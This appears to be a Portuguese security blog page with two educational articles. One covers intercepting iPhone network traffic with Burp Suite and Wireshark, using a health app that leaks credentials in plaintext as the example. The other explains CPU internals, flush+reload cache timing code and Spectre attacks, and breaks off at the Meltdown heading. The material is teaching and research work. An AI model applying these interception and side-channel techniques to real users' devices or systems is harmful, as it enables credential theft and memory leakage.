    Authentication - Wikipedia Phishing - Wikipedia Social engineering - Wikipedia Troy Hunt Verificação em duas etapas no WhatsApp - Techtudo O que é um ataque Man-in-the-Middle - Kaspersky

    Jordan Bonagura
    Este artigo objetiva demonstrar, de maneira simplificada, diferentes abordagens para interceptação e captura de dados de tráfego de rede originários de um dispositivo iPhone, da Apple. Na verdade o iPhone não é o único dispositivo sujeito a estas abordagens, assim como as estratégias aqui apresentadas não são as únicas capazes de realizar tais interceptações, então é possível usar este conteúdo para muitas outras aplicações, mas vou focar no iPhone por agora. 🙂
    A maneira mais simples de capturar o tráfego de rede de um iPhone é utilizando um servidor proxy. Na primeira parte deste artigo, adotaremos o Burp Suite para exemplificar este funcionamento. Após a coleta dos dados, analisaremos os pacotes de uma aplicação específica e a suas conexões com serviços web.
    Caso o objetivo seja uma análise mais detalhada do tráfego de uma aplicação que utilize outras tipos de comunicação que não somente requisições web, podemos diversificar a estratégia e utilizar uma interface de rede virtual (RVI), conforme demonstraremos na segunda parte deste artigo.
    Parte 1 - Utilizando um servidor proxy - Burp Suite
    Quando mencionamos a utilização de um servidor proxy, estamos basicamente nos referindo a interceptar e analisar solicitações relacionadas ao protocolo HTTP (HyperText Transfer Protocol), seja este com a camada de segurança TLS (Transport Layer Security) ou não.
    Algumas das aplicações que temos em nossos smartphones ainda utilizam somente o protocolo HTTP, o que significa dizer que os dados trafegam na forma de texto puro, ou seja, sem qualquer criptografia, fazendo com que informações sensíveis fiquem totalmente expostas a qualquer atacante que adotar técnicas de interceptação.
    Para configuração de nosso proxy o primeiro passo é abrirmos o Burp Suite. Por padrão, a interface em que ele escuta é a local (127.0.0.1) na porta 8080, conforme podemos verificar na imagem abaixo:

    Figura 1 - Interface padrão de escuta do Burp Suite
    No Burp Suite, toda captura está por padrão relacionada a máquina local, porém para executarmos nossa estratégia de interceptação dos dados que chegarão ao nosso servidor por meio do iPhone, precisaremos adicionar o IP interno da máquina local no campo Specific address:

    Figura 2 - Mudando a interface de escuta do Burp Suite
    Veja que neste caso adotamos o endereço IP 192.168.1.102 e a porta 8081.
    Uma vez o Burp Suite configurado, vamos ao iPhone:

    Figura 3 - Habilitando o uso de um servidor proxy no iPhone
    Perceba que o endereço IP associado ao iPhone não tem relação alguma com o servidor proxy, porém é óbvio que terão que estar na mesma rede para que o tráfego possa ser capturado. 😉

    Figura 4 - Configurações de proxy no iPhone
    Assim que finalizamos a configuração do iPhone para utilizar o Burp Suite como o nosso servidor proxy, já podemos ver alguns pacotes. Isso ocorre pois diversas aplicações ficam rodando em background, normalmente atualizações, updates de e-mails, entre outros.
    Abaixo temos um exemplo de pacote interceptado com o método POST do HTTP em conexão com o office365.com para atualização de e-mail. Reparem que o DeviceType já é identificado como sendo um iPhone.

    Figura 5 - Tráfego recebido pelo Burp Suite
    Para demonstração foi utilizado um aplicativo real da área da saúde, mais precisamente de uma empresa de assistência médica. Por questões éticas, ocultei os dados.
    Podemos analisar que quando abrimos o aplicativo em nosso smartphone, já são executadas chamadas à API num servidor para troca de informações e com isto já visualizamos os pacotes conforme imagem abaixo:

    Figura 6 - Chamadas à API capturadas pelo Burp Suite
    Apesar de ser uma aplicação de necessidade de alto nível de sigilo de informações, os dados são trafegados em texto puro, ou seja, sem nenhuma criptografia envolvida. 😞
    Conforme podemos verificar na imagem abaixo, não estamos ainda falando de credenciais de acesso, mas de todo modo são dados sensíveis, como por exemplo o número de beneficiário e telefone.

    Figura 7 - Dados sensíveis exibidos no Burp Suite
     
    Infelizmente, nesta aplicação não só os dados sensíveis anteriormente destacados são trafegados em texto plano, mas as credenciais de acesso (usuário e senha) também. Veja:
     
    Figura 8 - Credenciais em texto plano capturadas pelo Burp Suite
    Isso significa dizer que se um atacante estiver na conectado na mesma rede que nós, por exemplo uma rede wifi aberta (sem criptografia) de aeroporto, cafeteria e afins, e estivesse rodando um analisador de tráfego como este, poderia ter acesso à nossas credenciais como nome de usuário e senha. 😬
    Parte 2 - Utilizando uma interface de rede virtual (RVI) - Wireshark
    Uma outra abordagem que pode ser as vezes mais interessante é poder analisar todo o tráfego de rede que ocorre entre o dispositivo iPhone e os servidores das aplicações, agora não mais focado somente em aplicações e requisições web (HTTP), mas sim em diferentes protocolos, como por exemplo o bom e velho MSN para fins de aprendizagem, onde é possível analisar os pacotes MSNP trafegando pela rede, bem como conexões com outros dispositivos mais simples que utilizam o protocolo SNMP, por exemplo. Não há limites. 🙂
    Iniciamos com a conexão do nosso iPhone via USB ao computador que rodará o Wireshark para a coleta dos dados. Na sequência, realizaremos a criação da RVI (Remote Virtual Interface) onde necessitaremos passar como parâmetro o UUID (Universal Unique Identifiers) do iPhone. Vale lembrar que é possível obter o UUID com qualquer sistema operacional, já para criar a RVI executei o teste somente em macOS. Deixo para você verificar se é possível fazê-lo em outros sistemas, caso queira.
    Pelo próprio Finder do macOS é possível descobrir o UUID do aparelho, basta clicar no nome do dispositivo conectado e surgirá a informação conforme imagem abaixo:

    Figura 9 - UUID exibido no Finder
    Tendo o UUID do aparelho e estando este conectado, se faz necessário ativar a interface virtual (RVI), através do seguinte comando:

    Figura 10 - Criando uma RVI no shell do macOS
    Após recebermos a mensagem de sucesso como acima, estamos com a interface ativada e então poderemos seguir para a abertura do analisador de tráfego de rede Wireshark e selecionar a interface rvi0.

    Figura 11 - Escolha da interface para captura no Wireshark (no macOS)
    Nesta abordagem, e até para fins de comparação com a anterior, adotamos o mesmo aplicativo da área da saúde e aplicamos um filtro básico ip.src == 192.168.1.23 para facilitar a visualização somente de pacotes que têm o IP de origem do iPhone.
    É possível visualizarmos protocolos de diferentes camadas do modelo OSI. Neste exemplo, temos protocolos da camada de transporte (TCP) como também da camada de aplicação (HTTP) como pode ser visto na imagem abaixo:

    Figura 12 - Pacotes capturados pelo Wireshark
    Analisando somente os pacotes HTTP, é possível analisar as mesmas informações que visualizamos anteriormente no Burp Suite.
    Portanto, se abrirmos o conteúdo de nosso pacote selecionado, teremos também todas as informações de credenciais anteriormente demonstradas, conforme imagem abaixo:
     
    Figura 13 - Credenciais em texto plano capturadas pelo Wireshark
    Conclusão
    Pudemos verificar que existem diferentes abordagens em relação a captura de tráfego de dados de um iPhone. Na primeira parte, demonstramos a técnica com a adoção de um servidor proxy (Burp Suite), onde foi possível analisar os pacotes relacionados a requisições web. Esta técnica é de mais fácil implementação, porém muitas vezes limitada, pois como discutimos anteriormente trabalha basicamente com protocolos HTTP/HTTPS.
    Já na segunda parte, demonstramos uma análise de maior amplitude onde foi possível verificar que protocolos de diferentes camadas também podem ser analisados, portanto, a depender do objetivo almejado e/ou da forma de comunicação da aplicação, esta abordagem pode ser mais adequada.
    Vale lembrar que ambas as técnicas são complementares, portanto, dependendo do objetivo final de análise da aplicação, ambas podem ser combinadas.
    O caminho das pedras para a configuração do ambiente de captura está aí, agora é contigo em seguir para a análise aprofundada de suas aplicações. 🤗
    Stay Safe!

    esoj
    Neste artigo vamos abordar os principais tópicos referentes a microprocessadores modernos como hierarquia de memória, pipelines, execução fora de ordem e analisar como essas features contribuiram para o surgimento de vulnerabilidades especulativas como o Spectre e o Meltdown.
    Como CPUs funcionam?
    As CPUs contêm um grupo de comandos bem definidos que permitem realizar operações lógicas e aritiméticas, ler e escrever na memória, fazer comparações, e controlar o fluxo de execução do próprio programa. O programador tem acesso a parte dessa interface da CPU através de instruções de máquina, que permitem ao programador solicitar diretamente à CPU para que esses comandos sejam realizados. Um exemplo de sequência de instruções é:
    1.mov ax,8 2.mov bx,10 3.add ax,bx Registradores são as unidades de armazenamento mais rápidas em termos de tempo de acesso, pois estão presentes dentro da CPU e estão fisicamente próximas das unidades de execução, que serão responsáveis por realizar as operações matemáticas na Unidade Lógica aritimética (ULA). 
    No exemplo acima foram utilizados dois registradores, o ax e o bx para realizar uma soma. Para o programador é importante que essas instruções sejam executadas na ordem correta, pois caso as instruções 2 e 3 troquem de posição isso poderia resultar em um comportamento inesperado do programa.
    Todavia, o ciclo completo de execução de uma única instrução possui várias etapas demoradas. Entre elas pode-se citar:
    - A leitura da própria instrução;
    - A decodificação da instrução pela CPU, realizando o chaveamento e a decisão de qual caminho o dado manipulado deve tomar;
    - A resolução dos acessos a memória, se houverem;
    - A execução da operação aritimética ou lógica, se houver;
    - A escrita do resultado na memória, se houver.
    Hierarquia de memória
    Para compreender por que certas operações demoram mais que as outras é preciso abordar o conceito de hierarquia de memória.
    Devido a questões de tecnologia empregada, proximidade física e densidade de armazenamento, os computadores utilizam uma combinação de dispositivos de armazenamento. Em geral componentes mais rápidos como registradores e caches localizam-se próximos a CPU, pois são constantemente utilizados. Esses componentes priorizam velocidade acima de densidade de bits ou custo e pelo fato de estarem próximos ao local de uso estão restritos a uma quantidade pequena. No outro extremo estão componentes lentos, mas com alta capacidade como SSDs e HDDs, que acabam priorizando armazenamento total e custo ao invés de velocidade.
    | Tecnologia empregada      | Tempo tipico de acesso      | $ por GB em 2012 | | --------                  | --------                    | -------- | | SRAM         | 0.5-2.5 ns                 | $500-$1000     | | DRAM         | 50-70 ns                    | $10-$20     | | FLASH         | 5000 5000                   | $0.75-$1.00     | | Disco Magnético         | 5000000 - 20000000 ns       | $0.05-$0.10     | Adaptado de Computer Organization and Design RISC-V Edition: The Hardware Software Interface Localidade Temporal e espacial
    A hierarquia de memória se baseia no princípio de que o acesso aos dados não é puramente aleatório. Devido à estrutura das operações mais comuns em programas como loops, acessos sequenciais a listas, e até mesmo o acesso das próprias instruções que tendem a seguir um fluxo sequencial, tem-se os conceitos de localidade temporal e espacial. 
    A localidade temporal é quando um dado recentemente acessado tem alta probabilidade de ser acessado novamente, como em índices de loops e contadores.
    A localidade espacial diz respeito ao acesso de posições de memória próximas. Por exemplo, quando o elemento 2 de uma lista é acessado, provavelmente o elemento 3 também será.
    Quando esses dados são trazidos para níveis superiores da hierarquia de memória, a próxima vez que esses itens precisarem ser acessados, os níveis inferiores não precisarão ser consultados, permitindo um acesso mais rápido ao dado.
    Hit rate, Miss rate
    Sabendo as taxas de acerto dos componentes da hierarquia pode-se calcular o tempo de acesso médio a memória e observar o impacto que determinados componentes possuem. Tomando como exemplo (não muito realista) a seguinte estrutura:
    | Componente    |Tempo de acesso | Taxa de Acerto |     | -------- | -------- | ----- | | Cache         | 2 ns | 90% | | DRAM         | 70ns |90% | | FLASH |5000ns |100% | Acontece que:
    Em 90% dos acessos o dado estará na cache e tempo de resposta será 2ns; Em 90% das 10% (9%) das ocorrências em que o dado não estava na cache, ele estará na DRAM e o tempo de resposta será 2ns (busca na cache) + 70ns (busca na DRAM); Nos 1% de acessos que não foram satisfeitos pelos componentes superiores o tempo de acesso será 5000ns +70ns+2ns. Portanto, o tempo médio de acesso será:
    0.9 * 2ns + 0.09 * 72ns + 0.01 * 572ns = 14ns Ao remover a cache o tempo médio subiria para:
    0.99 * 70ns + 0.01 * 570ns = 75ns Pipeline
    Conforme visto no programa abaixo, diversas etapas são necessarias para a execução completa de uma instrução. Todavia, durante esse processo o dado é utilizado apenas em um componente por vez, deixando os demais elementos da CPU ociosos, por exemplo durante o cálculo de uma soma na ULA não existem leituras de instruções feitas pela memória. Uma forma de melhorar o Throughtput de instruções seria permitir que os componentes ociosos trabalhem em forma de uma cadeia de produção, assim como ocorrem em uma linha de montagem, permitindo então reduzir o período de clock total pois cada etapa do processo pode ser feita em menos tempo.
    |Operação | 1 | 2 | 3 | 4 | 5 | 6 | 7 | |------------------------------------------------| |Leitura de instrução| A | B | C | | | | | |Decodificacao | | A | B | C | | | | |Execução | | | A | B | C | | | |Memória | | | | A | B | C | | |Escrita | | | | | A | B | |  
    Diagrama da execução das instruções A B e C ao longo dos ciclos 1-7 no estágio 3 por exemplo as unidades de Leitura, decodificação e execução estão ativas simultaneamente
    Todavia ao contrário de uma linha de produção em uma fábrica, instruções não são completamente independentes umas das outras. Considere a seguinte sequência:
    A. add ax,[bx] B. jz $+1 C. nop  Neste caso, a finalização da instrução A ocorrerá no melhor dos casos, apenas no ciclo 5, podendo levar ainda mais tempo dependendo de qual posição na hierarquia de memória o dado apontado por bx está. Todavia o pipeline necessita escolher se faz a leitura da instrução C ou a próxima ($+1) logo no ciclo 3. Quando isso ocorre, a CPU pode decidir esperar o resultado da operação o que acarretaria em perda de performance ou realizar uma predição sobre o pulo.
    Predição
    O exemplo acima trata de um desvio condicional. Ou seja, existem apenas dois caminhos possíveis que a CPU pode executar, tomar ou não tomar o pulo. Para auxiliar a decisão existem componentes internos na CPU chamados preditores de desvio, que coletam informações sobre os pulos recentes tomados para auxiliar na decisão. O exemplo mais simples é do contador de saturação ilustrado abaixo. Quando o desvio é tomado diversas vezes o preditor se adapta e passa a aceitar os próximos pulos tomados.
     

    Preditor condicional de 2 bits. Extraido de https://en.wikipedia.org/wiki/Branch_predictor
     
    if (*canRun){     f1(); } else{     f2(); } Exemplo de código que pode gerar comportamento especulativo caso a variável apontada por canRun não esteja na cache por exemplo
    Quando é necessário predizer o próximo endereço, é realizada uma execução especulativa ou seja, o processador não tem certeza se o caminho de execução está correto, então todos os resultados feitos a partir da predição são armazenados em registradores de rascunho. Quando a condicional que gerou a execução especulativa for resolvida (canRun foi lida da memória por exemplo), caso o caminho tomado esteja correto os resultados são gravados nos registradores verdadeiros, levando a um ganho de desempenho. Se o caminho tomado estiver incorreto os resultados presentes nos registradores de rascunho são descartados e é necessário executar o caminho correto dessa vez, levando a um desempenho semelhante ao obtido se o processador tivesse esperado a avaliação ter sido concluida.
    Processador superescalar e execução fora de ordem
    As CPUs modernas possuem mais do que uma única unidade de execução por núcleo, permitindo em algumas situações realizar mais do que uma instrução por ciclo de clock. Para que o uso de mais de um unidade de execução simultânea seja funcional ele deve ser capaz de alocar as instruções sem que haja uma alteração no resultado da operação a ser computada visando paralelizar as operações a serem realizadas. As instruções podem ser re-ordenadas e executadas fora de ordem desde que a dependência entre elas seja obedecida.
    Para que as instruções possam ser reordenadas elas devem respeitar os três riscos ao pipeline
    Read After Write
    mov rax,2 mov rbx,rax Não podem ser trocadas de ordem pois o resultado da segunda instrução seria alterado Write After Read
    mov rbx,rax mov rax,2 Não podem ser trocadas de ordem pois o resultado da primeira instrução seria alterado Write After Write
    mov rbx,rax mov rax,rbx Não podem ser trocadas de ordem pois o resultado de ambas instrução seriam alterados Desde que respeitadas essas dependências a CPU pode reordenar instruções para executar várias operações em paralelo. Abaixo esta representada a unidade de execução de uma CPU moderna.

    Unidades de execução presentes em um único núcleo de uma CPU modernas intel. Extraído de https://mdsattacks.com/
    Uma forma simples de demonstrar o paralelismo a nivel de instrução é com o código a seguir. No primeiro bloco existem 200 instruções inc esi . Devido a dependência Write after Write elas não poderão ser trocadas de ordem ou executadas em paralelo.
    No segundo bloco existem 100 instruções inc esi e 100 instruções inc edi. Embora haja dependência entre o valor atual do registrador esi e o anterior, o par de instruções pode ser executado em paralelo, pois não há dependência entre eles. 
    Dessa forma, é esperado um desempenho próximo de 200 ciclos para o primeiro bloco e próximo de 100 ciclos para o segundo bloco. Foram utilizadas as instruções rdtsc para realizar a medição do "tempo" de execução e lfence para serializar a instrução rdtsc, garantindo que ela não será reordenada.
    O resultado do programa (executado em um i5-7500) mostra 264 ciclos para o primeiro bloco e 146 para o segundo. Considerando o overhead esperado pela execução do rdstd; lfence os resultados indicam um throughput mínimo de 0.75 instruções por ciclo para o primeiro bloco e 1.36 para o segundo bloco, evidenciando o comportamento superescalar da CPU.
    //gcc  -masm=intel -o ilp ilp.c #include <stdio.h> int main(){     int time1;     int time2;     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 200        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time1)             );     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 100        ;"             "inc edi        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time2)             );     printf("Ciclos gastos no bloco 1: %i\n",time1);     printf("Ciclos gastos na bloco 2: %i\n",time2);      } $ ./ilp Ciclos gastos no bloco 1: 264 Ciclos gastos na bloco 2: 146  
    Operação da Cache
    A Cache de um processador funciona como uma pequena e rápida memória dentro do chip da CPU que salva o conteúdo dos últimos e próximos endereços a serem acessados. Quando uma CPU solicita um byte para a memória devido ao barramento ser de 64 bits e as memórias serem otimizadas para operação em modo burst bem mais dados do que o que foi solicitados chegam a CPU, assim a cache guarda os dados recebidos para quando eles forem solicitados novamente não seja necessário requisitar a memória novamente e a resposta seja muito mais rápida. 
    A cache armazena os dados em forma de linhas, onde cada linha contém múltiplos bytes (64 bytes atualmente).
    Quando o endereço solicitado chega a cache, ele é dividido da seguinte forma:
    | Tag | Set | Offset| | --- | --- | --- | Offset é a posição do byte na linha da cache, Set é o endereço da linha na Cache e a Tag é o restante. A tag é guardada para poder diferenciar endereços com mesmo set e offset. Em uma CPU com 256 linhas e 64 bytes cada linha o tamanho de cada parte seria:
    |Offset | bits 0-5 | |Set    | bits 6-13 | |Tag    | bits 14-63 | Paginação e Translation Lookasidebuffer
    Processadores modernos necessitam executar múltiplos programas simultaneamente, para isso um dos problemas a ser resolvido é o gerenciamento de memória.Um processo A não deve ser capaz de ler ou escrever na memória de um processo B, se isso fosse possível um programa mal escrito provavelmente causaria um crash acidental nos demais programas ao escrever no endereço errado, ou então um malware seria capaz de ler memória de outros usuários da mesma máquina. Além disso, programas que foram compilados para utilizarem endereços virtuais idênticos devem ser capazes de executar ao mesmo. O compilador não é capaz de conhecer previamente quais endereços estarão sendo utilizados durante a execução do programa.Para isso, o sistema operacional é responsável em realizar a tradução de endereços virtuais(escolhidos pelo compilador) para endereços físicos(utilizados pelo chip de ram).
    #include <stdio.h> int main(){     printf("ola mundo!\n"); } $objdump -s test Contents of section .rodata:  402000 01000200 6f6c6120 6d756e64 6f2100    ....ola mundo!. Endereço virtual 0x402000 utilizado para a string "ola mundo!"
     
    Os sistemas operacionais atuais isolam a memória de processos através de paginação. Toda vez que um programa acessa a memória o endereço é traduzido de endereço virtual para físico através da consulta da tabela de páginação no sistema operacional. Essa tradução é feita através da tabela de paginação, uma região de memória em que o kernel pode escrever os valores do endereço físico de cada página a ser traduzida. Por questões de economia de espaço, ela é dividida em níveis. Caso essa divisão não exsitisse, para páginas de 4kb de tamanho e 48-bits de espaço de endereçamento e 8 bytes de entrada seriam necessários 2^36 indices, portanto 2^36 * 8 = 512GB para um único processo. Quando a tabela de paginação é divida em dirietórios, se o diretório superior possui 10 entradas, apenas as entradas utilizadas provocarão uma alocação dos diretórios inferiores, reduzindo o total de espaço alocado para a tabela de paginação.
    É importante ressaltar que junto ao endereço físico armazenado em cada entrada, estão presentes também as permissões da cada página como leitura, escrita e execução. Caso uma instrução viole a permissão de leitura ou escrita por exemplo a CPU gera uma exceção de Segmentation Fault que pode fazer com que a execução do programa seja suspensa.

    Esquema de páginação de 4 níveis utilizado no linux. Adaptado de https://jasoncc.github.io/kernel/jasonc-mm-x86.html
    Para aumentar o desempenho essa tabela é cacheada através do Translation lookaside buffer, que guarda os mapeamentos recentes entre endereço virtual e físico, evitando assim com que a memória seja consultada toda vez que um endereço seja acessado.
    Quando uma troca de contexto ocorre como o chaveamento entre dois processos, o registrador CR3 que aponta para a base da tabela é trocado e a TLB deve receber um flush para invalidar suas entradas.
    ---
    Observação
    Devido ao desuso da segmentação, o endereço virtual usualmente será o mesmo que o endereço linear que seria obtido após a segmentação e utilizado como entrada para o mecanismo de paginação.
    ---
    Observando o estado da micro arquitetura - Cache Side Channels Attacks
    Um ataque de side channel é um ataque que ao invés de buscar uma falha no algoritmo, exfiltra ou obtem informação sensível de um sistema baseado em algum efeito colateral durante a sua execução.
    Alguns exemplos de side channel
    Frequencia de rádio Air-Fi permite um atacante exfiltrar dados de um computador comprometido mas sem acesso a internet, utilizando o barramento de memória como placa de rede sem fio. TempestSDR permite um atacante recuperar a imagem transmitida para um monitor através das ondas eletromagnéticas transmitidas pelo cabo HDMI. Consumo de energia Ataques de análise de consumo de energia podem ser capazes de identificar quais etapas do algoritmo de encriptação estão sendo executadas e assim extrair a chave utilizada. (rhme2 CTF https://github.com/Riscure/Rhme-2016) Tempo Checagens de senhas com tempo variável podem permitir descobrir quantos caracteres em uma senha estão corretos e assim realizar um ataque de força bruta com muito mais facilidade Cache Permite observar efeitos colaterais da execução de outros programas, bem como observar os efeitos de operações internas de CPU que deveriam ser invisíveis ao programador, como execução especulativa por exemplo. Para compreender melhor os ataques a seguir vamos escolher um tipo de side channel de cache que será utilizado como método de exfiltração dos segredos obtidos pelos ataques a seguir.
    Copy on write e ataques de side channel
    Porém, nem sempre é desejavel que os processos isolem completamente sua memória. Seções de memória comuns a diversos processos como bibliotecas podem ser compartilhadas através do mecanismo de Copy on Write. Nele, quando uma página é carregada através da syscall de mmap com um arquivo como parâmetro se aquele arquivo já estiver mapeado em memória não é criada uma nova página. Caso o processo deseje alterá-lo, uma cópia privada da página é criada e passa a ser exclusiva para aquele processo, por isso o nome Copy on Write. Embora não haja nenhum problema de segurança inerente desse mecanismo pois para que haja compartilhamento as seções devem ser idênticas, o mero compartilhamento da memória física pode gerar interferências entre processos, como será visto ao analisar o tempo de resposta da memória para essas regiões.

    Diagrama de dois processos compartilhando a região de bibliotecas. Quando o endereço virtual referente a biblioteca é traduzido, ele aponta para uma única região da memória RAM
    Exemplo de programa vulnerável a side channel
    void main(){     //emojiList é compartilhada por COW pois está em uma biblioteca     char *flag="segredo";     char t;     while (1){         for (int i=0;flag[i]!='\0';i++){           t = emojiList[flag[i] * 160];         }     } } No exemplo acima, o conteúdo da variável flag, a principio não conhecida pelo atacante é utilizado como índice para acessar o array `emojiList`. Quando um acesso ocorre, o emoji passa estar presente na cache, de tal forma que o próximo acesso vai ter um tempo de resposta inferior. Sabendo disso um atacante poderia constantemente medir o tempo de resposta de cada valor possível do emojiList e quando detectar um tempo de resposta rápido, inferir qual caracter foi utilizado como índice.
    Para essa manipulação de cache, são utilizados duas instruções 
    RDTSC - Read Time Stamp Counter, que lê um registrador que conta quantos ciclos se passaram desde o boot da máquina. É utilizada como um relógio muito preciso para a medição de tempo CLFLUSH - Permite invalidar uma linha da cache dado um endereço. É utilizada para impedir que a própria medição do tempo de acesso leve a um falso positivo na proxima medição LFENCE - Realiza uma operação de serialização em todos os pedidos de leitura da memória anteriores a instrução LFENCE. Instruções subsequentes a LFENCE podem ser lidas mas elas não serão executadas especulativamente até a finalização da LFENCE. MFENCE - Funciona de forma semelhante a LFENCE mas funciona também para pedidos de escrita. Um exemplo de medição seria
    unsigned long probe_timing(char *adrs) {     volatile unsigned long time;     asm volatile(         "    mfence             \n"         "    lfence             \n"         "    rdtsc              \n"         "    lfence             \n"         "    movl %%eax, %%esi  \n"         "    movl (%1), %%eax   \n"         "    lfence             \n"         "    rdtsc              \n"         "    subl %%esi, %%eax  \n"         "    clflush 0(%1)      \n"         : "=a" (time)         : "c" (adrs)         : "%esi", "%edx"     );     return time; }
    Para que um sistema seja vulnerável a esse tipo de ataque é necessário que haja uma clara distinção entre o tempo de resposta de um dado presente apenas na memória e um dado em cache. Para isso é possível testar:
     
    char globalVar[4096]={1,4,7,8,5,9,1}; int main(){   unsigned long t1,t2;   unsigned long count=0;   double total_access,total_evict;   total_access=0;   total_evict=0;   for(unsigned i=0;i<100;i++){     if (i%2==0){       maccess((void *)&globalVar[44]);     }     t1=probe_timing((void *)&globalVar[44]);     count++;     if (i%2==0){       printf("time w acess: %lu\n",t1);       total_access+=(double)t1;     }     else{       printf("time no acess: %lu\n",t1);       total_evict+=(double)t1;     }      }   printf("avg cached=%lf\n",total_access/50);   printf("avg evicted=%lf\n",total_evict/50);   return 0; ... time w acess: 68 time no acess: 304 time w acess: 66 time no acess: 308 avg cached=68.400000 avg evicted=347.200000 # head /proc/cpuinfo  processor    : 0 vendor_id    : GenuineIntel cpu family    : 6 model        : 158 model name    : Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz stepping    : 9 cpu MHz        : 3408.006 cache size    : 6144 KB
    Botando o tempo de resposta de cada acesso no gráfico, pode-se perceber a diferença do tempo de acesso entre dados presentes na cache e na memória principal e se estabelecer um limite para decidir se o dado esta na cache.

    Diferença do tempo de resposta da memória para dados em cache



    O ataque originalmente foi criado para vazar chaves criptográficas entre usuários usando a biblioteca GnuPG. Posterioremente o exploit foi adotado em outros ataques de micro arquitetura como canal para vazar segredos obtidos de forma especulativa.
    Spectre
    O spectre se baseia no envenenamento de preditores para realizar a execução de código que não deveria ser executado. Dessa forma um atacante consegue enganar a CPU a burlar checagens de limite ou até obter execução de código (espculativa) no processo da vitima. Isso traz implicações sérias de segurança para o isolamento entre processos e sandboxes como navegadores. 
    Variant 1 - Exploiting Conditional Branch Missprediction  
    if (x < array1_size)     y = array2[array1[x] * 4096];
    O código acima mostra um exemplo de programa vulnerável ao spectre em que o atacante possui controle da variável x.Na primeira linha existe uma checagem do limite do valor x para impedir que o conteúdo do array1 seja acessado fora desse limite o que poderia gerar uma exceção ou um acesso a um dado sensível no espaço de endereço do processo da vítima. A segunda linha consistem em um alvo para um side channel attack. O conteúdo do array1 é utilizado como indice para o array2. É possível mensurar quais elementos do array2 estão em cache através de ataques como flush+reload caso array2 seja compartilhado via COW ou através de outros side channels mais complexos como prime+probe que não necessitam de memória compartilhada. 
    Utilizando apenas o side channel é possível obter o conteúdo do array1, porém o exploit do spectre amplia o escopo do ataque permitindo vazar endereços fora do limite do array.
    Manipulação de preditor
    A primeira linha realiza uma checagem que está passível a ser especulada. Caso o valor de array1_size demore para ser lido, o processador criará um ponto de especulação e tera de decidir se o desvio será tomado. Um atacante com o controle do x pode manipular o preditor para treinar a CPU a sempre executar o bloco dentro da condicional. Supondo um valor de array1_size=10 por exemplo uma sequencia de entradas como: 0,0,0,0,0,0,0,0,20 faria o preditor saturar na posição de desvio não tomado fazendo com que ao tratar a entrada x=20; y = array2[array1[20] * 4096];  seja executado de forma especulativa e o segredo presente na posição 20 seja vazado, o que pode ser outra variável. 
    Exploits dessa categoria são perigosos para navegadores pois podem ser implementados de forma semelhante em javascript. Um código em javascript que seja capaz de ler a memória do próprio processo pode extrair cookies e dados sensíveis de outros domínios.

    Antes da checagem de limite ser realizada, o preditor de desvio continua a execução no caminho mais provável, levando a uma melhora do desempenho quando correto. Todavia se a checagem do limite for indevidamente predita como verdadeira pode levar um atacante a vazar informação em algumas sitauções. Extraido de: Spectre Attacks: Exploiting Speculative Execution
    É importante notar também que cada núcleo da CPU possui o próprio preditor de desvio, portanto para que esse ataque seja bem sucedido quando executado em processos diferentes eles sejam escalonados para executarem no mesmo núcleo, seja através do escalonador do sistema operacional ou através de mecanismos Simultaneous MultiThreading (SMT).

    V2 Poisoning Indirect Branches
    Conforme já foi abordado, preditores condicionais tem apenas duas opções para escolher sobre o pulo, tomar ou não tomar. Porém existem instruções que permitem pulos para endereços armazenados em variáveis por exemplo que possuem um comportamento um pouco mais complicado de predizer.
    call rbx              ;branch direto jump rcx              ;branch direto call [rax]            ;branch indireto São todas instruções que necessitam do preditor indireto. Esses tipos de instruções são geradas quando o programa precisa dinamicamente descobrir o que executar. funções que recebem ponteiros para outras funções ou até mesmo Virtual tables podem gerar esse comportamento. Para realizar essa predição a CPU possui um Branch Target Buffer (BTB) que armazena os endereços de origem e destino dos desvios indiretos mais recentes.

    Diagrama do preditor de desvio Incondicional - Extraído de Exploiting Speculative Execution
    Para efetuar o ataque o programa do atacante deve treinar o BTB para que quando a vitima execute o desvio indireto o atacante tenha controle do endereço de destino. A técnica utilizada é muito semelhante a Return Oriented Programing (ROP), pois constrói o código de ataque utilizando pedaços do código da vítima, porém não há nenhuma corrupção de memória envolvida.O único meio de obter informação é através do estado da cache.

    Layout de um ataque de Spectre V2
    Para performar o ataque o atacante deve alinhar em seu processo o endereço do pulo ou chamada e treinar o preditor para outro endereço. Como entrada para o preditor são utilizados os endereços virtuais do programa, portanto além de ser necessário identificar a existência de um spectre gadget é necessário também saber o seu endereço.
    Exemplo de gadget encontrado na função Sleep em ntdll.dll no Windows
    adc edi,dword ptr [ebx+edx+13BE13BDh] adc dl,byte ptr [edi] Quando os registradores ebx e edi são controlados pelo atacante através de entradas para o programa, o atacante é capaz de fornecer um endereço alvo, tal que ebx = alvo - edx -13BE13BDh e manipular edi para ser a base do array de medição. A primeira instrução executa uma leitura no endereço desejado e a segunda instrução utiliza o segredo lido como endereço para acessar o array. Posteriormente o atacante deve executar um dos ataques de side channel para descobrir qual endereço foi acessado de forma especulativa, vazando assim o dado condido no endereço apontado por alvo. 
    Mitigações
    Devido ao spectre se basear em padrões específicos de outros programas, a mitigação não é trivial e é usualmente feita de forma individual.
    Prevenção de especulação
    É possível utilizar instruções de serialização ou de bloqueio de especulação como LFENCE antes de trechos de código vulneráveis como branches condicionais ou indiretos. 
    Prevenção do envenenamento de branches
    Alguns mecanismos são capazes de previnir a especulação entre diferentes domínios:
    Indirect Branch Restricted Speculation (IBRS) impede com que branches de código menos privilegiado afetem branches de código de maior privilégio; Single Thread Indirect Branch Prediction (STIBP) evita que códigos executados no mesmo núcleo e em threads diferentes (exemplo hyperthreading) compartilhem as mesmas predições; Indirect Branch Predictor Barrier (IBPB) permite colocar barreiras que impedem com que o estado do BTB afetem a próxima execução (através de flush do BTB por exemplo); Retpotline substitui as chamadas indiretas por instruções de retorno, e forçam com que o endereço seja especulado para um endereço seguro. Meltdown
